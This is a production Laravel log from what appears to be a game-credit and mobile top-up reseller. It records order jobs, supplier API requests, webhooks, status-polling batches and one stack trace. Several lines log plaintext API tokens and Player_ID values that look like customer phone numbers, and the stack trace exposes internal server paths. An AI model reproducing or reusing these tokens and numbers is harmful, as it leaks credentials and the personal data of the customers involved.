[2026-03-24 11:44:23] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1688  
[2026-03-24 11:44:23] production.INFO: Handling job for order: 178582  
[2026-03-24 11:44:23] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 11:44:23] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 11:44:23] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=75544018-9df0-4521-b128-5593d156f64d&Player_ID=51922279592  
[2026-03-24 11:44:23] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=75544018-9df0-4521-b128-5593d156f64d&Player_ID=51922279592","has_body":false} 
[2026-03-24 11:44:24] production.INFO: Operation sent successfully {"operation_id":163511,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-CmD-1774341864","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG","notes":[],"created_at":"2026-03-24 11:44:24"}},"processed_data":{"order_number":"ORD-CmD-1774341864","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG"}} 
[2026-03-24 11:44:24] production.INFO: Handling job for order: 178583  
[2026-03-24 11:44:24] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 11:44:24] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 11:44:24] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/31/params?qty=1&uuid=431688c9-2b12-4d90-9cbd-8f26c7eef16c&Player_ID=0988104907  
[2026-03-24 11:44:24] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/31/params?qty=1&uuid=431688c9-2b12-4d90-9cbd-8f26c7eef16c&Player_ID=0988104907","has_body":false} 
[2026-03-24 11:44:25] production.INFO: Operation sent successfully {"operation_id":163512,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-8Xx-1774341864","amount":21.308119999999998839257386862300336360931396484375,"status":"processing","product":"20.19  Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 11:44:25"}},"processed_data":{"order_number":"ORD-8Xx-1774341864","amount":21.308119999999998839257386862300336360931396484375,"status":"processing","product":"20.19  Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 11:44:32] production.INFO: SendAcceptReject: Notification queued {"user_id":1056,"notification_type":"request_approved","reference_id":18600} 
[2026-03-24 11:44:34] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1056  
[2026-03-24 11:44:34] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-CmD-1774341864","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 11:44:34] production.INFO: Processed webhook data (normalized) {"id":"ORD-CmD-1774341864","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 11:44:34] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 11:44:34] production.INFO: SendAcceptReject: Notification queued {"user_id":102,"notification_type":"order_approved","reference_id":178582} 
[2026-03-24 11:44:34] production.INFO: Order updated successfully. Order ID: 178582, Status: completed  
[2026-03-24 11:44:34] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-CmD-1774341864","status":"completed","codes_count":0} 
[2026-03-24 11:44:37] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 102  
[2026-03-24 11:45:01] production.INFO: Executing GetProducts task...  
[2026-03-24 11:45:01] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 11:45:01] production.INFO: Executing GetProducts task...  
[2026-03-24 11:45:03] production.INFO: async() رجع: true  
[2026-03-24 11:45:03] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 11:45:03] production.WARNING: Product with ID 395 not found  
[2026-03-24 11:45:03] production.WARNING: Product with ID 213 not found  
[2026-03-24 11:45:03] production.WARNING: Product with ID 212 not found  
[2026-03-24 11:45:03] production.WARNING: Product with ID 211 not found  
[2026-03-24 11:45:03] production.WARNING: Product with ID 210 not found  
[2026-03-24 11:45:03] production.WARNING: Product with ID 209 not found  
[2026-03-24 11:45:03] production.WARNING: Product with ID 214 not found  
[2026-03-24 11:45:03] production.WARNING: Product with ID 215 not found  
[2026-03-24 11:45:03] production.WARNING: Product with ID 216 not found  
[2026-03-24 11:45:04] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 11:45:24] production.ERROR: Attempt to read property "user_id" on null {"exception":"[object] (ErrorException(code: 0): Attempt to read property \"user_id\" on null at /home/talaah/public_html/app/Http/Controllers/Admins/Payments/RequestChargeController.php:124)
[stacktrace]
#0 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Bootstrap/HandleExceptions.php(258): Illuminate\\Foundation\\Bootstrap\\HandleExceptions->handleError(2, 'Attempt to read...', '/home/talaah/pu...', 124)
#1 /home/talaah/public_html/app/Http/Controllers/Admins/Payments/RequestChargeController.php(124): Illuminate\\Foundation\\Bootstrap\\HandleExceptions->{closure:Illuminate\\Foundation\\Bootstrap\\HandleExceptions::forwardsTo():257}(2, 'Attempt to read...', '/home/talaah/pu...', 124)
#2 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Controller.php(54): App\\Http\\Controllers\\Admins\\Payments\\RequestChargeController->approveCredit(Object(Illuminate\\Http\\Request))
#3 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/ControllerDispatcher.php(43): Illuminate\\Routing\\Controller->callAction('approveCredit', Array)
#4 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Route.php(265): Illuminate\\Routing\\ControllerDispatcher->dispatch(Object(Illuminate\\Routing\\Route), Object(App\\Http\\Controllers\\Admins\\Payments\\RequestChargeController), 'approveCredit')
#5 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Route.php(211): Illuminate\\Routing\\Route->runController()
#6 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(822): Illuminate\\Routing\\Route->run()
#7 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(180): Illuminate\\Routing\\Router->{closure:Illuminate\\Routing\\Router::runRouteWithinStack():821}(Object(Illuminate\\Http\\Request))
#8 /home/talaah/public_html/app/Http/Middleware/AdminAuth.php(35): Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}(Object(Illuminate\\Http\\Request))
#9 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): App\\Http\\Middleware\\AdminAuth->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#10 /home/talaah/public_html/app/Http/Middleware/RequirePinVerification.php(47): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#11 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): App\\Http\\Middleware\\RequirePinVerification->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#12 /home/talaah/public_html/app/Http/Middleware/TrackSessionActivity.php(50): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#13 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): App\\Http\\Middleware\\TrackSessionActivity->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#14 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Middleware/SubstituteBindings.php(50): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#15 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Routing\\Middleware\\SubstituteBindings->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#16 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/VerifyCsrfToken.php(87): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#17 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\VerifyCsrfToken->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#18 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/View/Middleware/ShareErrorsFromSession.php(48): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#19 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\View\\Middleware\\ShareErrorsFromSession->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#20 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Session/Middleware/StartSession.php(120): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#21 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Session/Middleware/StartSession.php(63): Illuminate\\Session\\Middleware\\StartSession->handleStatefulRequest(Object(Illuminate\\Http\\Request), Object(Illuminate\\Session\\Store), Object(Closure))
#22 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Session\\Middleware\\StartSession->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#23 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Cookie/Middleware/AddQueuedCookiesToResponse.php(36): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#24 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Cookie\\Middleware\\AddQueuedCookiesToResponse->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#25 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Cookie/Middleware/EncryptCookies.php(74): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#26 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Cookie\\Middleware\\EncryptCookies->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#27 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#28 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(821): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#29 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(800): Illuminate\\Routing\\Router->runRouteWithinStack(Object(Illuminate\\Routing\\Route), Object(Illuminate\\Http\\Request))
#30 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(764): Illuminate\\Routing\\Router->runRoute(Object(Illuminate\\Http\\Request), Object(Illuminate\\Routing\\Route))
#31 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(753): Illuminate\\Routing\\Router->dispatchToRoute(Object(Illuminate\\Http\\Request))
#32 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(200): Illuminate\\Routing\\Router->dispatch(Object(Illuminate\\Http\\Request))
#33 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(180): Illuminate\\Foundation\\Http\\Kernel->{closure:Illuminate\\Foundation\\Http\\Kernel::dispatchToRouter():197}(Object(Illuminate\\Http\\Request))
#34 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}(Object(Illuminate\\Http\\Request))
#35 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/ConvertEmptyStringsToNull.php(31): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#36 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\ConvertEmptyStringsToNull->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#37 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#38 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TrimStrings.php(51): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#39 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\TrimStrings->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#40 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePostSize.php(27): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#41 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePostSize->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#42 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/PreventRequestsDuringMaintenance.php(109): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#43 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\PreventRequestsDuringMaintenance->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#44 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/HandleCors.php(48): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#45 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\HandleCors->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#46 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/TrustProxies.php(58): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#47 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\TrustProxies->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#48 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/InvokeDeferredCallbacks.php(22): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#49 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\InvokeDeferredCallbacks->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#50 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePathEncoding.php(26): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#51 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePathEncoding->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#52 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#53 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(175): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#54 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(144): Illuminate\\Foundation\\Http\\Kernel->sendRequestThroughRouter(Object(Illuminate\\Http\\Request))
#55 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Application.php(1220): Illuminate\\Foundation\\Http\\Kernel->handle(Object(Illuminate\\Http\\Request))
#56 /home/talaah/public_html/public/index.php(17): Illuminate\\Foundation\\Application->handleRequest(Object(Illuminate\\Http\\Request))
#57 {main}
"} 
[2026-03-24 11:45:33] production.INFO: Constructing job for order: 178584  
[2026-03-24 11:45:34] production.INFO: Handling job for order: 178584  
[2026-03-24 11:45:34] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 11:45:34] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 11:45:34] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/27/params?qty=1&uuid=684e72ed-2f59-4cb2-9602-8207bcc994d7&Player_ID=0995051813  
[2026-03-24 11:45:34] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/27/params?qty=1&uuid=684e72ed-2f59-4cb2-9602-8207bcc994d7&Player_ID=0995051813","has_body":false} 
[2026-03-24 11:45:35] production.INFO: Operation sent successfully {"operation_id":163513,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-G6AjIb-1774341935","amount":4.05820999999999987295495884609408676624298095703125,"status":"processing","product":"3.85 Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 11:45:35"}},"processed_data":{"order_number":"ORD-G6AjIb-1774341935","amount":4.05820999999999987295495884609408676624298095703125,"status":"processing","product":"3.85 Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 11:46:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"bolkMLrBfy8LWZwvwEAcFxeUwEwIYjKU","execution_time":"2026-03-24 11:46:02"} 
[2026-03-24 11:46:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"bolkMLrBfy8LWZwvwEAcFxeUwEwIYjKU","execution_time":"2026-03-24 11:46:02","total_operations":4,"sites_count":2} 
[2026-03-24 11:46:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"bolkMLrBfy8LWZwvwEAcFxeUwEwIYjKU","execution_time":"2026-03-24 11:46:02","site_id":3,"site_name":"swgamessd","orders_count":2,"order_ids":["ORD-UQr6BxpX-1774324667","ORD-9Vnn-1774339094"]} 
[2026-03-24 11:46:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"bolkMLrBfy8LWZwvwEAcFxeUwEwIYjKU","execution_time":"2026-03-24 11:46:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 11:46:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"bolkMLrBfy8LWZwvwEAcFxeUwEwIYjKU","execution_time":"2026-03-24 11:46:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":2} 
[2026-03-24 11:46:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"bolkMLrBfy8LWZwvwEAcFxeUwEwIYjKU","execution_time":"2026-03-24 11:46:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-9Vnn-1774339094","operation_id":163492} 
[2026-03-24 11:46:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"bolkMLrBfy8LWZwvwEAcFxeUwEwIYjKU","execution_time":"2026-03-24 11:46:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 11:46:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"bolkMLrBfy8LWZwvwEAcFxeUwEwIYjKU","execution_time":"2026-03-24 11:46:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":2,"updates_prepared":0} 
[2026-03-24 11:46:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"bolkMLrBfy8LWZwvwEAcFxeUwEwIYjKU","execution_time":"2026-03-24 11:46:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 11:46:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"bolkMLrBfy8LWZwvwEAcFxeUwEwIYjKU","execution_time":"2026-03-24 11:46:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"orders_count":2,"order_ids":["ORD-8Xx-1774341864","ORD-G6AjIb-1774341935"]} 
[2026-03-24 11:46:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"bolkMLrBfy8LWZwvwEAcFxeUwEwIYjKU","execution_time":"2026-03-24 11:46:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 11:46:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"bolkMLrBfy8LWZwvwEAcFxeUwEwIYjKU","execution_time":"2026-03-24 11:46:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"orders_count":2} 
[2026-03-24 11:46:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"bolkMLrBfy8LWZwvwEAcFxeUwEwIYjKU","execution_time":"2026-03-24 11:46:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-G6AjIb-1774341935","operation_id":163513,"processed":2,"skipped":0,"updates_prepared":2} 
[2026-03-24 11:46:02] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"bolkMLrBfy8LWZwvwEAcFxeUwEwIYjKU","execution_time":"2026-03-24 11:46:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-G6AjIb-1774341935","operation_id":163513,"total_items":2,"chunks":1,"chunk_size":10} 
[2026-03-24 11:46:02] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"bolkMLrBfy8LWZwvwEAcFxeUwEwIYjKU","execution_time":"2026-03-24 11:46:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-G6AjIb-1774341935","operation_id":163513,"count":2} 
[2026-03-24 11:46:02] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"bolkMLrBfy8LWZwvwEAcFxeUwEwIYjKU","execution_time":"2026-03-24 11:46:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-G6AjIb-1774341935","operation_id":163513,"count":2} 
[2026-03-24 11:46:02] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"bolkMLrBfy8LWZwvwEAcFxeUwEwIYjKU","execution_time":"2026-03-24 11:46:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-G6AjIb-1774341935","operation_id":163513,"user_id":43,"notification_type":"order_approved","reference_id":178583} 
[2026-03-24 11:46:02] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"bolkMLrBfy8LWZwvwEAcFxeUwEwIYjKU","execution_time":"2026-03-24 11:46:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-G6AjIb-1774341935","operation_id":163513,"user_id":1251,"notification_type":"order_approved","reference_id":178584} 
[2026-03-24 11:46:02] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"bolkMLrBfy8LWZwvwEAcFxeUwEwIYjKU","execution_time":"2026-03-24 11:46:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-G6AjIb-1774341935","operation_id":163513,"chunk_number":1,"processed":2,"errors":0,"total_operations":2,"total_orders":2,"total_codes":0,"total_refunds":0} 
[2026-03-24 11:46:02] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"bolkMLrBfy8LWZwvwEAcFxeUwEwIYjKU","execution_time":"2026-03-24 11:46:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-G6AjIb-1774341935","operation_id":163513,"total_processed":2,"total_errors":0,"chunks_processed":1} 
[2026-03-24 11:46:02] production.INFO: Batch update completed {"job":"Quryjob","job_id":"bolkMLrBfy8LWZwvwEAcFxeUwEwIYjKU","execution_time":"2026-03-24 11:46:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-G6AjIb-1774341935","operation_id":163513,"processed":2,"errors":0} 
[2026-03-24 11:46:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"bolkMLrBfy8LWZwvwEAcFxeUwEwIYjKU","execution_time":"2026-03-24 11:46:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-G6AjIb-1774341935","operation_id":163513,"processed":2,"errors":0} 
[2026-03-24 11:46:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"bolkMLrBfy8LWZwvwEAcFxeUwEwIYjKU","execution_time":"2026-03-24 11:46:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-G6AjIb-1774341935","operation_id":163513} 
[2026-03-24 11:46:02] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 43  
[2026-03-24 11:46:02] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1251  
[2026-03-24 11:46:32] production.INFO: SendAcceptReject: Notification queued {"user_id":45,"notification_type":"order_approved","reference_id":178578} 
[2026-03-24 11:46:32] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 45  
[2026-03-24 11:48:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"GRFdMVj2BWc4sS2vBll7wP6DgBg9s2oL","execution_time":"2026-03-24 11:48:02"} 
[2026-03-24 11:48:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"GRFdMVj2BWc4sS2vBll7wP6DgBg9s2oL","execution_time":"2026-03-24 11:48:02","total_operations":2,"sites_count":1} 
[2026-03-24 11:48:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"GRFdMVj2BWc4sS2vBll7wP6DgBg9s2oL","execution_time":"2026-03-24 11:48:02","site_id":3,"site_name":"swgamessd","orders_count":2,"order_ids":["ORD-UQr6BxpX-1774324667","ORD-9Vnn-1774339094"]} 
[2026-03-24 11:48:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"GRFdMVj2BWc4sS2vBll7wP6DgBg9s2oL","execution_time":"2026-03-24 11:48:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 11:48:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"GRFdMVj2BWc4sS2vBll7wP6DgBg9s2oL","execution_time":"2026-03-24 11:48:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":2} 
[2026-03-24 11:48:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"GRFdMVj2BWc4sS2vBll7wP6DgBg9s2oL","execution_time":"2026-03-24 11:48:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-9Vnn-1774339094","operation_id":163492} 
[2026-03-24 11:48:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"GRFdMVj2BWc4sS2vBll7wP6DgBg9s2oL","execution_time":"2026-03-24 11:48:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 11:48:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"GRFdMVj2BWc4sS2vBll7wP6DgBg9s2oL","execution_time":"2026-03-24 11:48:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":2,"updates_prepared":0} 
[2026-03-24 11:48:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"GRFdMVj2BWc4sS2vBll7wP6DgBg9s2oL","execution_time":"2026-03-24 11:48:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
